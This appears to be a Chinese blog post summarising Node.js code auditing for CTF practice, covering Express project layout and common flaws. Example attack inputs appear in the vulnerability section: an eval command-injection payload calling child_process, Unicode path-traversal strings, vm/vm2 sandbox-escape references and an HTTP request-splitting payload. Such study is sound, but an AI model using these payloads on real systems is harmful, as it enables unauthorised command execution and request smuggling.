Re:从零开始的Node.Js代码审计
Re0真好康
又咕了好久博客,放一篇node.js审计简单总结吧
基础知识
语言基础
Node.Js 中文网的入门教程就不错 传送门
上面对有些点的介绍是在其他入门指南里所看不到的,如package.json
等,了解这些知识点有助于对Node.Jsweb
项目文件的理解,此外里面还说明了在学Node.Js
前应掌握的JavaScript
的内容
至于Js,在菜鸟教程学就行了

然后可以再去看看菜鸟教程的Node.Js
入门教程,对比学习,加深理解 [传送门](Node.js 教程 | 菜鸟教程 (runoob.com))
常用模块/框架
如果看完了上面的教程,那么最常用的如http、path、fs、buffer这些肯定是会简单使用的
接下来需要熟练掌握的就是常用的框架
常见的主要就express、koa、koa2这三个框架。而其中express在CTF中最为多见,需要先学完,而koa和koa2可以暂缓或遇到再学
Node.Js项目文件及app.js详解
常见项目结构如下

bin
:用于存放项目的启动文件,也可以不是js
脚本
node_modules
:用于存放项目依赖库
public
:用于存放项目的静态文件(前端Js、Css、img)
routes
:存放路由功能相关的Js
文件,如存在一个/admin
路由,则routes
里面就可能存在admin.js
views
:存放路由相关的视图(html
)文件
.env
:存放项目环境变量的文件
app.js
:项目入口和程序启动文件
package.json
:存放每个依赖模块的基本信息。模块名称和大版本信息
package-lock.json
:记录每个模块的详细信息,如模块的具体版本号和各个模块所依赖的子模块的信息
这里还需要详细了解一下app.js
参考自这里
1 | //这里主要是引用所必须要的模块,当然,这些模块是需要使用“npm install 模块名”安装的 |
express默认加载视图文件使用的是jade
模板,即视图文件是以jade
结尾的文件。若想访问html
模板可以配置让其支持ejs
或html
模板
- 在项目根目录安装
ejs
1 | npm install ejs |
- 引入
ejs
1 | var ejs = require('ejs'); //我是新引入的ejs插件 |
- 设置
html
模板
1 | app.engine('html', ejs.__express); |
- 设置视图引擎
1 | app.set('view engine', 'html'); |
保存后重启服务,即可访问html
文件
常见漏洞
原型链污染
之前总结过 传送门
eval
1 | const express = require("express") |
?cmd=require('child_process').exec('calc')
无回显
?cmd=require('child_process').execSync('whoami')
有回显
vm/vm2沙箱逃逸
参考:https://www.anquanke.com/post/id/207291
vm
vm
模块可以通过v8
虚拟机编译和运行代码,在v8
虚拟机直接运行js_code
是无法在物理机执行命令的,如下
1 | const vm = require("vm"); |
但我们可以通过继承链来虚拟机逃逸
1 | const vm = require("vm"); |
vm2
在vm2
中,可以通过外部报错+捕获外部报错来逃逸,如下
POC1
1 | ; |
POC2
1 | ; |
JS大小写特性
字符ı
、ſ
经过toUpperCase()
处理后结果为 I
、S
字符K
经过toLowerCase()
处理后结果为k
unicode特性
orange大师傅于blackhat上提出的。在处理path时对unicode时对高位的截断,如下
\xFF\x2E
会被截断为\x2E
,\xFF\x2E
就是N
,而\x2E
是.
\x01\x25
会被截断为\x25
,\x01\x25
是ĥ
,而\x25
是%
如CSAW CTF 2017就有一道题
进入主页即可发现文件包含?path=orange.txt
,但../
被放入了黑名单,这时就用到了这个洞
?path=N./flag.txt
,后台解析的就是../flag.txt
,拿到flag
后面还有一道类似的题是ban
掉了N
,需要自己寻找字符末尾是2E
的字符,可以在这里寻找 传送门
http拆分攻击
漏洞范围:Node.js [6.0.0, 6.15.0)&&[8.0.0, 8.14.0)
其实是一种CRLF
攻击
假如存在一个服务,它将会接受用户的输入,并将其拼接到一次http
请求中
如输入test
,服务器会发包
1 | GET /vertify?code=test HTTP/1.1 |
而当用户输入test HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n
时
服务器就可能会将其直接写入路径,发包变为下面的
1 | GET /vertify?code=test HTTP/1.1 |
而在node.js
的http
库已经设计了防御措施(percent encode
)规避了这种错误
http.get("http://127.0.0.1/vertify?code=test HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n")
1 | GET /vertify?code=test%20HTTP/1.1DELETE%20/private-api%20HTTP/1.1 HTTP/1.1\r\n |
但http
库在处理错误的unicode
字符时就可以绕过防御措施
http.get("http://localhost/vertify?code=x\u0120HTTP/1.1\u010D\u010AHost:\u0120localhost\u010D\u010AConnection:\u0120keep-alive\u010D\u010A\u010D\u010AGET\u0120/admin")
1 | GET /vertify?code=x HTTP/1.1\r\n |
看一下它是如何解析unicode
字符的
1 | > Buffer.from('http://localhost/vertify?code=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}localhost\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/admin', 'latin1').toString() |

例题:安洵杯2019-Membershop
其他依赖库问题
还有其他一些依赖库的问题,在审计时需要注入目标使用依赖库的版本及是否存在相应漏洞
可以在npm
官网寻找依赖库相关漏洞 传送门
或者在npm install
项目后输入npm audit
查看依赖包的漏洞详情